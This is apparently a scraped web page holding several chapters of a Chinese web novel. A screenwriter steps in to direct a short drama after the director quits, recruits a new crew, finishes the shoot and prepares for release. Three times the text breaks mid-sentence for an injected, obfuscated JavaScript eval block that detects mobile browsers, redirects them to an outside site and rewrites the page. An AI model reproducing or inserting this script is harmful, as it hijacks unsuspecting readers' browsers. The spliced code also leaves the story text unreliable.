蔡妍抱怨完,叹了口气,“现在组里好多人都在背后说,这戏拍不下去了。制片人天天躲着,导演也快崩溃了。我觉得吧,再这么下去,大家真可能撂挑子不干了。” 温清水想起自己的剧组。 这两天的气氛格外紧绷,大家是不是也在背后这样议论。 “清水?你在听吗?”蔡妍挥挥手。 “在。”温清水回过神,“那你呢?你怎么打算的。” “我?我还行吧,反正拿钱干活。”蔡妍耸耸肩,“就是觉得挺没意思的。以前总觉得拍戏是创作,现在觉得就是应付各种破事。” 两人又聊了几句,互道晚安。 温清水打开电脑,看了一会儿导演课程,但怎么也看不进去。 那些关于镜头语言、场面调度的理论,此刻都变得遥远而抽象。 她关了电脑,躺下时已经凌晨一点。 窗外传来隐约的空调外机的嗡鸣,像黑夜的呼吸。 第二天清晨六点半,温清水准时到达影棚。 几个早到的场务正在搬器材,看见她,打了声招呼:“温编早。” “早。”她点头,走进棚里。 灯光组在调试设备,美术组在做最后的布景检查。一切看起来都很正常。 七点,徐铭没来。 七点零五,还是没来。 七点十分,大刘来了。 他穿着一件皱巴巴的夹克,脸色不太好,一进棚就拍了拍手,“大家注意一下。” 棚里安静下来。 大刘清了清嗓子,“徐导今天身体不太舒服,来不了了。大家先准备着,能拍的戏先拍着。” 美术小雅接着问道,“徐导怎么了?严重吗?” “就是累着了。”大刘说,瞟了温清水一眼,“研读剧本太投入,一直熬夜,身体扛不住了。在医院呢。” 他又补充道,“徐导说了,不想耽误进度,但实在是没办法。希望温编能理解。” 这话说得客气,但意思很清楚。 整个棚里的人都听明白了。 大刘走到温清水面前,压低声音,“温编,徐导在市人民医院,506病房。您要不要去看看?” 温清水看着他,“我知道了。” 大刘等了几秒,见她没接话,转身走了。 棚里的气氛变了。 那种紧绷感松了些,但又被另一种不安取代,导演不来了,戏还怎么拍? 温清水走到监视器前坐下。 乔舒然凑过来,小声说:“他故意的吧?用罢工逼你道歉。” “嗯。”温清水应了一声,打开今天的拍摄计划表。 “今天先拍第七场、第九场和第十二场。”她站起身,“都是内景戏,不需要复杂调度。场务准备一下,二十分钟后开拍。” 没有徐铭在,拍摄反而顺利了些。 演员没那么紧张了,NG次数明显减少。 但问题也很快暴露出来,缺了导演和摄影指导,镜头的把握全靠温清水一个人。 她坐在监视器前,盯着每一个画面。 角度对不对,光线够不够,演员的走位会不会出框。 大刘和徐铭的配合确实默契。 现在换了她,很多东西要靠自己判断。 中午放饭时,温清水没吃。 她拿着分镜稿,一页页翻看,脑子里飞快地计算:如果徐铭真的不回来了,剩下的戏要怎么拍,哪些镜头可以简化,哪些必须保留。 缺的不只是导演,还有整个核心团队,摄影、灯光、美术,都是徐铭的人。 乔舒然端着饭盒过来,在她身边坐下。 “徐铭这个人太坏了。”她语气愤愤,“一点职业道德都没有。就因为你不让他潜规则女演员,他就撂挑子?” 温清水做了个噤声的手势,“别说了。” 乔舒然瘪瘪嘴,但还是听话地没再继续。 她扒了几口饭,又问:“那明天怎么办?我们真的要去医院道歉吗?” “不去。”温清水说得很干脆。 乔舒然看着她,“那跟晏董求助呢?问问他有没有其他导演愿意来接。” 温清水摇头。 很少有导演愿意半路接手一个剧组,磨合需要时间,而他们最缺的就是时间。 况且,她现在去找晏董,等于承认自己搞砸了,信心满满接下的项目,不到十天就出了这么大的问题。 “先拍完今天。”她的声音很稳,“明天的事明天再说。” 下午的拍摄还算顺利,但温清水能感觉到,自己越来越累。 缺了几个核心人员,所有压力都压在她一个人身上。 收工时,天色已暗。 温清水坐进车里,没立刻发动,她靠在座椅上,闭上眼睛。 真的有点累了。 但还不能停。 回到家,她从冰箱里拿出两个蛋挞,昨天买的,已经有点软了。 她没加热,就这么吃。甜腻的馅料在嘴里化开,暂时填补了胃里的空荡。 吃完,她躺在沙发上,看着天花板。 导演走了,核心团队人心涣散,戏才拍了不到一半。钱投进去了,时间在流逝,晏董在等结果。 她可以低头。 这是最简单的方法。 但她不想。 从接下这个项目开始,她想要的就不只是拍完一部戏。 她想要一个不一样的剧组,一个没有小团体,没有潜规则,大家能安心拍戏的地方。 这很难,她知道。 手机在这时响了。 是蔡妍。 温清水接起来,还没开口,就听见蔡妍带着火气的声音。 “清水,我快气死了。我们组那个女一号,跑了!” “跑了?” “对!直接跑路了。今天早上经纪人打电话来,说她有个丑闻被爆出来了,跟未成年谈恋爱。现在全网都在骂,剧组也待不下去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165539|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她就直接跑了,连个招呼都没打。” 蔡妍的声音又急又快,“这还不是最气的。我们这个组本来就是临时组建的,资金链一直有问题。现在女一号跑了,制片人直接说项目暂停,大家的工资可能发不出来了。” 温清水坐直身体,“这么严重吗。” “是啊,我们这些基层工作人员,就靠这点钱吃饭。现在好了,戏拍了一半,钱拿不到,简历上 还多了一个烂尾项目。”蔡妍叹气,“大家现在都在棚里等着,不知道该怎办。” 温清水握着手机,脑海里飞快地闪过一个念头。 “你们组现在摄影、灯光这些技术人员,都还在吗?” “在啊,都在棚里等着呢。本来是个大热IP改编,大家想着就算工资不高,剧爆了之后简历也好看。谁知道出这档子事。” “他们签公司了吗?” “有些签了,有些没有。但就算签了,接这种外包活公司也不怎么管,抽成是固定的。”蔡妍疑惑,“你问这个干嘛?” 温清水深吸一口气,“你接下来有空档期吗?” “有啊,我正愁接下来去哪呢。” “那,”温清水的声音里带期待,“你要不要考虑来我们组?” 电话那头沉默了两秒。 “你们组?”蔡妍的声音一下子亮起来,“是晏氏投资的那个短剧项目吗?我听说过的。” “是。”温清水说,“但是剧组出了点问题,缺了一部分工作人员。” “我当然愿意。”蔡妍几乎没犹豫,“什么时候报到,明天行吗?” “明天可以。”温清水说,“如果你那边还有其他人也在找活,可以一起问问,具体待遇和工作时间我现在发给你。” 她挂了电话,立刻开始编辑信息。 信息发过去后,她靠在沙发上等待。 十分钟后,手机震动。 是蔡妍发来的一个名单,后面跟着一句话,“问了小群里的,这些人都愿意来。明天上午七点,准时到。” 温清水看着那份名单,她需要的岗位,基本齐了。 她回复:“好。地址发给你了,明天见。” 她放下手机,坐在沙发上,慢慢地呼出一口气。 前一秒还在为明天发愁,下一秒问题就解决了。 她忍不住笑了。 可最后变成一声如释重负的叹息。 她太开心了,以至于没注意到脚边那个倒了的落地灯。 灯座尖锐的金属边缘正对着她的方向。 她兴奋地站起来,想给自己倒杯水庆祝一下。身上盖着的薄毯滑落,缠住了脚踝。 她一个踉跄,整个人向前扑去。 “砰”的一声闷响。 她摔在地上,小腿传来一阵尖锐的刺痛。 她低头一看,那块金属边缘正好划过了小腿侧面。 伤口不深,但很长,血珠很快渗出来,在皮肤上划出一道细细的红线。 温清水愣了两秒,最后无奈地笑了。 乐极生悲。她脑子里闪过这个词。 她爬起来,一瘸一拐地走到医药箱前,发现里面的碘伏和纱布都用完了。 她打开外卖软件,下单了消毒药水、棉签和创可贴。 二十分钟后,手机响了,是个陌生号码。 她接起来,那头传来一个年轻男人的声音,疏离而礼貌。 “您好,您的外卖到了。麻烦开一下门。” “好的,马上。” 她挂掉电话,一瘸一拐地走向门口。 小腿还在疼,但心里那股兴奋劲儿还没退,以至于她开门时脸上还带着没来得及收起的笑容,又因为疼痛微微皱着眉。 门开了。 门外站着一个高个子男生,穿着外卖平台的制服,戴着口罩,只露出一双眼睛。 他手里拎着一个小塑料袋,看见温清水时,递上了那个袋子。 “您的外卖。”他说,报了她的手机尾号。 “谢谢。”温清水接过袋子,因为腿疼,动作有点不稳。 男生微微颔首,转身离开了。 温清水关上门,背靠在门板上,长长地舒了口气。 小腿还在疼,但心里是开心的。 明天,会有新的团队来,戏可以继续拍。 至于徐铭,她不会道歉,也不会妥协。 她进了这个圈,总要留一点自己的骨气在。 11. 剧终 第二天清晨六点半,温清水提前到了影棚。 她手里拎着两大袋热咖啡,站在C棚门口等。 空气里有种潮湿的清冷,吸进肺里凉丝丝的。 她跺了跺脚,受伤的小腿隐隐作痛。昨天摔的那一下,今天才显出厉害来。 六点五十,第一个场务到了。 “温编早!”年轻小伙子看见她,愣了愣,“您这么早?” “早。”温清水递过去一杯咖啡,“辛苦了。” 小伙子接过,纸杯的温热透过手心传来,他脸上露出笑容,“谢谢温编。” 陆陆续续有人来,每个人都得到一杯咖啡。 热气在清晨的冷空气里袅袅升腾,模糊了一张张略显疲惫的脸。 “温编破费了。”有人小声说。 “应该的。”温清水微笑,“这几天大家辛苦了。” 七点二十,蔡妍带着人来了。 一共八个,有男有女,背着大大小小的器材包,都带着点风尘仆仆的味道。 “清水!”蔡妍快步走过来,给了她一个短暂的拥抱,“人我都带来了,都是靠谱的。” 温清水点头,目光扫过那些人。 “我是温清水,这个项目的编剧,暂时也负责导演工作。”她声音不高,但清晰,“谢谢大家愿意来。接下来八天,我们要把剩下的戏拍完。时间紧,任务重,辛苦各位。” 她拿出打印好的拍摄计划,分发给每个人。 “今天拍第二十一到二十四场,都是六年后的都市戏。美术组要重新调整布景,从校园风转成现代轻奢风。灯光组注意,我要偏冷的色调,但不要压抑,是那种精致但疏离的感觉。” 她看向摄影指导,一个四十岁左右的男人。 “陈哥,今天的重头戏是宴会重逢。我要一个长镜头,从宴会厅门口推进,穿过人群,最后停在男女主脸上。 机位我来定,运镜要稳,要有那种‘时间流逝,物是人非’的沧桑感。” 摄影指导推了推眼镜,点头,“明白。” “蔡妍负责造型。”温清水看向她,“六年后,周窈是职场精英,陈屿是海归新贵。衣服我已经准备好了,在化妆间,你看着搭。” “好嘞!”蔡妍笑着,“这个我最擅长。” 分完工,棚里立刻动了起来。 上午的拍摄还算顺利。 除了两次镜头没找准机位,运镜有些生涩,其他都没出大问题。 温清水很快适应了导演加编剧的双重角色。 可能是因为那五年的剧组经验,也可能是因为这部小说是她自己写的。 “停。”她坐在监视器后,拿起对讲机。 画面定格。是阮月白的一个特写。 六年后,周窈在办公室里处理文件,窗外是城市的天际线。 她穿着剪裁合身的白色西装,头发梳成低马尾,露出光洁的额头和清冷的侧脸。 “月白,你刚才那个眼神,”温清水说,“太硬了。周窈这时不是冰冷,是疲惫。那种日复一日戴着面具的疲惫。她其实很想念陈屿,但不敢承认。” 阮月白看着监视器里的自己,沉默了几秒。 “我懂了。”她说,“再来一次。” 第二次,她的眼神变了。 依旧冷,但冷底下有层薄薄的脆弱。 “过。”温清水点头。 蔡妍在一边竖起大拇指,“清水,你现在指导演员很有一套啊。” 中午放饭时,男女主和男二女二都围到了温清水身边。 棚里支了几张折叠桌,大家坐在一起吃饭。 气氛有点微妙。 所有人都知道了昨天的事,徐铭“病”了,温清水临时顶上。 “温编,”阮月白先开口,声音温温柔柔的,“您辛苦了。” “是啊温编,”林曦也接话,眼神很真诚,“有什么事我们可以帮忙的,您尽管说。” 唐棠坐在最边上,小口小口扒着饭,没说话,但一直看着温清水。 温清水放下筷子,看着围在身边的这一圈人,忽然笑了。 笑容很淡,但很真实。 “都好好吃饭吧。”她说,“别紧张,这不是一切正常吗?” 是啊,拍摄还在继续,盒饭还是热的,一切都还在正轨上。 人群渐渐散去,回到各自的座位。 只剩下乔舒然和蔡妍还留在温清水身边。 蔡妍夹了块排骨,边吃边感慨,“早知道你们组伙食这么好,我早就跳槽过来了。” 乔舒然笑她:“你那是馋饭吗?你那是馋我们温编。” “都馋,不行啊?”蔡妍理直气壮,“我跟你说,我之前那个组,盒饭里连块像样的肉都没有。制片还美其名曰‘控制预算’,结果全花在女一号那些华而不实的衣服上了。” 温清水听着她们斗嘴,手里还拿着下午的剧本,偶尔抬眼说两句。 远处 传来其他剧组的嘈杂声,混着盒饭的香气和空调的嗡鸣,构成一种熟悉的背景音。 “清水,”蔡妍忽然正经起来,“你以后就打算先干短剧了?” 温清水点点头,“嗯,先站稳脚跟。” “也好。”蔡妍说,“其实短剧挺好,周期短,见效快。而且我早觉得你有做导演的天赋,比好多科班出身的都强。” “哪有那么夸张。”温清水笑。 “真的。”蔡妍看着她,眼神很认真,“以后缺人了随时找我。跟靠谱的人干活,累点也开心。” “那是自然。”温清水说。 乔舒然在一旁插话,“那我呢?我也要预约!” “你早就被预约了。”温清水拍拍她的肩,“跑不掉的。” 三个人都笑了。 下午的拍摄继续。 重头戏来了,六年后,周窈和陈屿在商业宴会上重逢。 场景已经搭好。 宴会厅,水晶吊灯,香槟塔,穿着礼服低声交谈的群演。 空气里有种浮华而冰冷的气息。 阮月白换上了一件深蓝色丝绒长裙,头发盘起,露出修长的脖颈。 她耳垂上缀着小小的钻石,在灯光下偶尔一闪。 林曦则是一身黑色西装,剪裁合身,衬得肩宽腿长。六年时间让少年的青涩褪去,多了几分沉稳和疏离。 “第二十三场一镜,准备——”场记打板。 Action. 镜头从宴会厅门口开始,缓缓推进。 穿过晃动的香槟杯,穿过低声的谈笑,穿过衣香鬓影。 最终停在宴会厅深处。 周窈站在那里,手里端着酒杯,正和几个商界人士交谈。 她微笑,点头,说话时嘴角的弧度恰到好处,完美得像一尊精心雕刻的塑像。 她转过头,看见了陈屿。 他站在不远处,手里也拿着酒杯,正听身边的人说话。 陈屿的侧脸线条比六年前更硬朗,下颌线清晰,眼神平静。 似乎察觉到视线,他也转过头。 两人的目光在空中相遇。 时间静止了。 宴会厅的喧嚣褪成模糊的背景音,水晶灯的光芒变得刺眼。 空气里浮动的香水和酒精味,都凝成一种具体的质感。 周窈脸上的笑容僵了一瞬。 很短,不到半秒,但足够让细心的人捕捉到。 她恢复如常,甚至笑得更加完美。 她朝陈屿微微颔首,像是看见一个久未谋面的熟人。 陈屿也点了点头。他的表情没有任何变化。 但镜头拉近,给特写——他握着酒杯的手指,指节微微泛白。 周围的人在说话,在笑,在碰杯。 那些声音像隔着一层水,模糊,遥远。 周窈转身,走向露台,裙摆在光洁的地面上拖出沙沙的轻响。 陈屿看着她离开的背影,看了很久。 最后他也转身,朝相反的方向走去。 两人背对背,越走越远。 镜头缓缓拉开,宴会厅再次变得喧嚣,香槟塔闪着光,人们举杯畅饮。 像两条短暂相交的线,又各自延伸向无尽的远方。 “卡!” 温清水盯着监视器,看了很久。 棚里很静,所有人都屏着呼吸,等着她的评价。 终于,她抬起头,看向阮月白和林曦。 “很好。”她说,声音里带着赞许,“那种克制,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165540|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种表面平静底下暗流汹涌的感觉,都演出来了。” 阮月白松了口气,脸上露出笑容,“谢谢温编。” 林曦笑得最开心。 他第一次感觉到,演戏不只是摆表情,念台词。 而是成为另一个人,用那个人的眼睛看世界,用那个人的心脏感受疼痛。 “谢谢温编。”他格外郑重。 温清水点点头,“休息十分钟,准备下一场。” 接下来的拍摄都很顺利。 温清水渐渐找到了做导演的节奏。 她会提前把每个镜头的构图想好,会给演员讲戏时用具体的画面代替抽象的概念,会在监视器后一眼看出哪里不对,然后清晰地告诉对方该怎么调整。 忙碌让她忘了腿上的伤。 直到下午收工,她一瘸一拐地走向停车场时,才感觉到小腿传来的刺痛。 伤口比想象中严重。纱布已经被血浸透了,黏在皮肤上,每走一步都扯得生疼。 她去了附近的一家药店,简单包扎。 剩下的拍摄出乎意料地顺利。 蔡妍带来的团队很专业,效率高,配合默契。 温清水渐渐习惯了同时把控剧本和导演的工作,虽然累,但充实。 大刘来过一次,是三天后。 他走进棚里时,脸色不太好看。 看见温清水坐在监视器后,他显然有些惊讶,但还是走过来。 “温编,”他开口,语气里带着点不易察觉的讽刺,“听说您这边拍得挺顺利?” 温清水抬起头,“还好。大家都很努力。” 大刘斟酌了一下语言,“徐导身体还没好利索,但一直惦记着剧组。” “如果徐导休息好了,随时欢迎他回来。”温清水声音温暖,“剧组的大门一直开着。” 大刘看着她,眼神闪烁了几下。 他显然没料到温清水会是这个反应,不卑不亢,不回避也不妥协。 “温编,”他压低声音,“您这样不太合规矩吧?导演的位置,不是谁都能坐的。” “我知道。”温清水点头,“所以我只是暂时顶上。等徐导回来,位置还是他的。” 这话说得滴水不漏。 大刘张了张嘴,想说什么,但最终还是咽了回去。 他转身,朝棚里几个徐铭带来的人招了招手。 那几个人互相看了看,犹豫了一下,还是跟着他走了。 一共三个,一个灯光助理,一个场务,还有一个美术。 棚里的人都看着,没人说话。 温清水站起身,“谢谢你们这几天的付出,如果以后有机会,希望还能合作。” 那几个人有些尴尬地点头,快步离开了。 乔舒然凑过来,小声说:“清水,他们怎么这样。” “没事。”温清水打断她,“人各有志。” 她回到监视器前,重新投入工作。 可她心里却在想,以后和这些核心人员,都要签具体的合约。 不是为了防止他们走,是为了让合作关系更清晰,更公平。 不过现在想这些还早,先把戏拍完再说。 杀青那天,是个晴朗的午后。 最后一场戏拍完,棚里安静了几秒,然后爆发出掌声和欢呼。 “杀青了!”有人喊。 “辛苦了!”“终于拍完了!”“晚上聚餐!” 温清水站在人群中央,看着这一张张熟悉的脸还有那些日夜相伴的工作人员。 十五天,很短。但在剧组的时间,总是过得特别快。 朝夕相处,共同完成一件事,这种经历会让人产生一种奇妙的联结。 几位主演都凑过来,把温清水围在中间。 蔡妍和乔舒然推着一个蛋糕走过来,上面写着“祝《春日负暄》大爆”。 “清水,切蛋糕。”蔡妍笑着递过刀。 温清水接过,在众人的注视下,切下第一刀。 奶油甜腻的香气漫开,混着掌声和笑声,填满了整个影棚。 “以后有机会,继续合作。”温清水看着所有人,“希望大家都能越来越好。” 人群欢呼起来。 她的第一部短剧,至此剧终。 12. 未知 成片交给晏氏那天,是个阴天。 云层低低压着城市的天际线,空气里有种雨前特有的湿润。 温清水抱着装有硬盘的文件袋,走进星光传媒大厦。 前台姑娘认出她,微笑颔首,“温编,李总监在十七楼等您。” “谢谢。”她礼貌回应。 电梯上升时,温清水看着镜面里自己的倒影。 白色衬衫,灰色西裤,头发扎得整齐。眼下有淡淡的乌青,但状态还不错。 十七楼,短剧孵化中心。 李总监就是上次的负责人,戴细边眼镜,看见温清水,她起身握手。 “温编,辛苦了。” “应该的。” 两人在会议室坐下。 温清水将硬盘推过去,同时递上一份打印好的材料。 “成片在这里。这份是相关资料,包括全片时长、集数划分、分级自评、送审申请表,还有主创人员名单。” 李总监接过,快速翻阅。 “平台方面,”温清水继续说,“按我们之前聊的,优先考虑草莓短剧平台。它对短剧的流量扶持最大,用户画像也和我们的目标受众重叠率高。排期上,” 她看了眼日历,“如果这周送审顺利,最快下下周可以安排上线。我建议先做三天预约预热,之后一次性释出全集,现在短剧市场,拖更风险太大。” 她的语速平稳,逻辑清晰,每个节点都考虑到了。 李总监从材料上抬起眼,看了她几秒,嘴角很轻地弯了一下。 “很周全。”她说,“和温编这样的人办事,很舒服。” 她将材料收进文件夹,忽然问,“我听说,拍摄后期,徐导离开了剧组一段时间?” 问题来得突然,但温清水脸上没什么波澜。 “徐导身体不适,需要休养。”她微笑着回应,“都是拍摄中的小情况,已经解决好了。没有耽误成片质量。” 她没有抱怨,没有解释,更没有把内部矛盾摊开给人看。 只是陈述事实,然后翻篇。 李总监点了点头,那点笑意更深了些,是种真正的欣赏。 “好。”她说,“材料我先收下,今天就走内部流程送审。草莓平台那边我有熟人,可以催一下进度。过审后确定具体日期,我会第一时间通知你。” 她站起身,伸出手,“期待下次合作。” 温清水也起身,回握。 “多谢欣赏。” 离开星光大厦时,雨还没下下来。 天空是浑浊的灰白色,风里有泥土的味道。 温清水没有直接回家。 她开车去了城西,她的母校。 电影学院毕业五年,她回来的次数屈指可数。 校园还是老样子,梧桐大道两侧的树荫浓得化不开,红砖教学楼上爬满了爬山虎,在灰白的天色里绿得发暗。 她把车停在路边,步行进去。 路过当年常去的三号教学楼时,她停了一下。 二楼最东边的窗户,是他们编导系的拉片室,无数个下午,她和同学们坐在教室里,看《霸王别姬》,看《寄生虫》,看《爱乐之城》。 屏幕的光映在一张张年轻的脸上,眼里都是对未来的憧憬。 现在那些脸都模糊了,只剩下屏幕的光,还亮在记忆里。 她继续走,走到教师公寓区。 三栋,502。 开门的是个三十出头的女人,穿着家居服,头发松松挽着,看见她,眼睛一亮。 “清水?你怎么来了?” “学姐。”温清水笑了,递过去一个纸袋,“路过,来看看你。” 学姐叫沈明月,比她高两届,当年是系里有名的才女,现在留校教书。 两人关系一直很好,即使温清水毕业进了圈子,忙得脚不沾地,也偶尔会联系。 沈明月接过纸袋,打开。 里面是一套绝版的电影理论书,和一枚手工烧制的陶瓷书签,书签上画着一个正在打板的场记板。 “这书现在很难找了。”她有些惊讶,“还有这书签,真好看。” “偶然看到的,觉得适合你。”温清水说。 礼物不贵重,但用心。 沈明月懂,所以笑得更暖了。 “进来坐。” 客厅里堆满了书和影碟,沙发上还摊着几份学生作业。 典型的学者房间,杂乱但有生命。 温清水说明来意,“想借几本导演方面的书,还有你之前提过的,国外那几门公开课的笔记。” “你要系统学导演了?”沈明月一边在书架上翻找,一边问。 “嗯。刚拍完一部短剧,觉得自己缺得还很多。”温清水如实回答。 沈明月抱出一摞书和几个厚厚的笔记本。 “这些你先看。笔记是我读博时整理的,可能有点旧,但基础的东西不会变。” “谢谢学姐。”温清水笑。 “跟我还客气。”沈明月看着她,眼神里有担忧,但更多的是信任,“清水,这条路不容易。但如果是你,我觉得可以。” 温清水抱着那摞书和笔记,重量沉甸甸的,压在手心里,却让人安心。 “我会努力,不辜负学姐的信任。” 接下来的一周,温清水把自己关在家里。 客厅的长桌成了她的工作台。 所有的资料摊开,不同颜色的便签纸贴得到处都是,像儿童的拼贴画。 至少不是从零开始,她安慰自己。 五年的剧组经验是底色,刚拍完的短剧是第一次实战。 现在她要做的,是把这些散落的碎片,整理成自己的体系。 她重新划分导演工作的模块:前期筹备、现场调度、后期沟通。每个模块下又细分:如何读剧本、如何做分镜、如何与摄影指导沟通、如何引导演员情绪。 沈明月的笔记很有用,严谨,系统。 但温清水不会全盘照抄。她要把理论和实践对照,消化,然后变成自己的东西。 饿了,她就随便煮点东西。 冰箱里有周一去超市买的一大包食材,她煮面时会加个蛋,煎得边缘焦脆,蛋黄流心。 困了,她就倒在沙发上睡。有时是凌晨两点,有时是四点。 醒来时天可能天光大亮,她揉揉眼睛,洗把脸,继续。 中间乔舒然发来消息:“《明日晴》开播了,数据还行。设定新颖,加上男女主本身的粉丝基础,首日播放量破五百万了。” 温清水回了个“嗯”,没有多问。 那部戏,她拿了剧本尾款后,就没再关注。 魔改后的成品会怎样,她大概能猜到。这圈子有时就是这样,好坏不重要,有没有话题才重要。 她关掉手机,继续看笔记。 第七天下午,她合上最后一本笔记本。 阳光从西窗照进来,落在桌面那些纷杂的笔记上。 她站起来,活动了一下僵硬的脖颈。 脑子里那些曾经模糊的概念,此刻清晰得变成一幅画在地图上的路线。 她知道接下来该怎么走了。 电话在这时响起。 是李总监。 “温编,审过了。”她的声音透过听筒传来,带着公事公办的利落,“比预期快。草莓平台给了绿灯,已经上了预约界面。四天后,周五晚上八点,全集上线。” 温清水握着手机,手心微微出汗。 “谢谢您。” “不客气。片子我看过了,质感不错,尤其是后半部分。”李总监顿了顿,“温编,下次有项目,还找你。” 电话挂断,她给自己点了杯柠檬茶。冰的,加一点蜂蜜。 外卖送来时,她喝了一大口,酸涩冰凉的口感顺着喉咙滑下去,让人清醒。 她坐回书桌前,打开电脑。 不是看导演课程了,是看剧本,看小说。 《春日负暄》是她自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165541|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小说,版权在自己手里,一切好说。 但如果要继续拍下去,下一部拍什么。 继续感情流,《春日负暄》是这个类型,市场接受度已经验证了一部分。 但她也看过太多类似的短剧,无脑甜,过分虐,追妻火葬场,套路化严重,看多了会腻。 她移动鼠标,点开几个文档。都是她以前写的梗概,或者圈内朋友发来看看的小说开篇。 看了一会儿,她停了下来。 不对。 不是什么题材火就拍什么。 她想拍那种能看见“人”的故事。不是标签,不是套路,是会疼会爱会挣扎的人。 至于是感情流还是别的,形式不重要,内核才重要。 接下来的几天,她依旧沉浸在各种故事里。看小说,偶尔也看一些获奖的短片。 她在寻找接下来要走的路。 第三天下午,乔舒然发来一个链接。 “清水!你看这个!气死我了!” 温清水点开。 是一个短视频平台的帖子,标题很抓眼球:“避雷!年度最诈骗剧《明日晴》,编剧出来挨打!” 发帖的是个没露脸的女生,声音清脆,语速极快。 “朋友们,我真是服了。冲着设定新颖去的,前面十集也确实不错,男女主人设新颖,剧情连贯,是我最喜欢的破镜重圆题材。所以我花钱买了结局,结果真是雷中之雷。” 画面切到剧集片段,配上女生犀利的吐槽。 “这里,这个布景,还有女主身边朋友说的话,都暗示了女主会找男主好好谈谈。 “最绝的是这个结局,错过多年后男女主还是没解开当年的误会,一场大雪,一次车祸,男主直接死了。我笑了,真的。这剧前面积攒的所有逻辑,所有人物弧光,到这全崩了。这不是烂尾,这是把整栋楼都炸了!” 女生说话很难听,但逻辑清晰,每一句吐槽都戳在点上。 评论区已经炸了,全是“谢谢避雷”“差点就开会员了”“编剧是不是换人了”。 乔舒然又发来消息:“点赞已经五十多万了,评论区全是在骂的,真是讨厌。” 温清水看着屏幕,脸上没什么表情。 她回复乔舒然,“她说得都挺到位的。” 乔舒然:“清水,你脾气也太好了。我是替你不值,前面明明也是你写的,结果全毁了。” 温清水回复:“改剧本那天,我就想到这个结局了。” 一句话,轻飘飘的。 但背后的东西,重得有点让人喘不过气。 乔舒然发来一个拥抱的表情,“不气不气,咱们以后自己拍,再也不让别人改了。” 温清水笑了笑,回复说好。 她退出聊天框,打开短视频软件。 不知道是不是算法监听,首页推送给她的,竟然好几个都是关于《明日晴》的吐槽视频。角度不同,但核心都一样:前面惊艳,后面崩坏。 她刷了一会儿,终于刷到了一条不一样的。 是关于《春日负暄》的官方宣传片。 剪辑得很精致,配了煽情的音乐,突出了阮月白和林曦的颜值。 评论区却没那么和谐。 除了粉丝在控评“期待月白”“林曦好帅”,还有一些路人的发言: “这两人有CP感吗?感觉不太搭啊。” “短剧而已,要什么演技,脸好看就行。” “原著党路过,只求不毁。周窈和陈屿的感情很复杂的,希望编剧能拍出来。” 温清水一条条看下去,手指在屏幕上缓慢滑动。 窗外的天完全黑了,她起身,走到镜子前,卷起裤腿。 小腿上的伤口已经结痂,边缘微微发痒,该换最后一次药了。 她拿出碘伏和纱布,小心地撕开旧敷料。 涂药,包扎,她动作熟练。 不知道会是怎样的结果。 但她都愿意坦然接受。 13. 进步 从医院出来时,暮色正浓。 温清水站在台阶上,深吸了一口气。 医院特有的消毒水味还留在鼻腔里,混着傍晚微凉的空气,有种说不清的滞重感。 桑晚依旧没有醒来的迹象。 护士说,生命体征平稳,但没有变化。 她母亲握着桑晚的手,轻声讲着家里新养的绿萝发了芽,讲楼下早餐店换了老板,豆浆不如从前甜。 温清水坐在旁边听,偶尔插一句。 她没提剧组的事,只说了天气,还有最近看的书。 离开时,桑母送她到门口,握着她的手说,“清水,别太累。” “我知道,阿姨。” 她沿着街道慢慢走,路过一家书店时,她推门进去,风铃叮咚一声响。 店里人不多,很安静。 她走到艺术类书架前,目光扫过一排排书脊。 最后停在一本《华语电影中的女性形象建构》上。 她抽出来,翻开目录。 第一章:被凝视的客体——传统叙事中的女性符号。 第二章:从客体到主体——新时期女性导演的突围。 正看着,旁边言情小说区的说话声飘了过来。 是两个女大学生,背着帆布包,正凑在一起翻书。 “这本我看过,男主后期追妻火葬场,绝了!” “真的假的?那我借回去看看。” 温清水侧耳听着,嘴角不自觉地弯了弯。 做编剧久了,养成了观察人的习惯。 那些鲜活的表情,生动的语气,都是最好的素材库。 直到其中一个女生忽然“啊”了一声,声音里带着惊喜: “你知道吗?《春日负暄》拍短剧了!” 另一个女生凑过去,“不会是我想的那本吧?我初中时候看的。现在还偶尔翻翻呢,那个作者太会写那种酸涩拉扯了。” “对对对,就是周窈和陈屿那本。短剧特别好看,女主是阮月白演的。” 听到自己的作品被提起,温清水的手指在书页上停住。 她没抬头,但呼吸轻了。 “阮月白啊,我一直觉得她特别好看,就是清冷小白花的感觉。” “而且男主在这里演技爆棚!完全是自卑小狗来着,剧情反转特别爽。” “那咱们今晚去你家看这个?” “可以可以!我带你再看一遍。” 两个女生抱着书,说说笑笑地从她身边走过,帆布包上的挂件一晃一晃的。 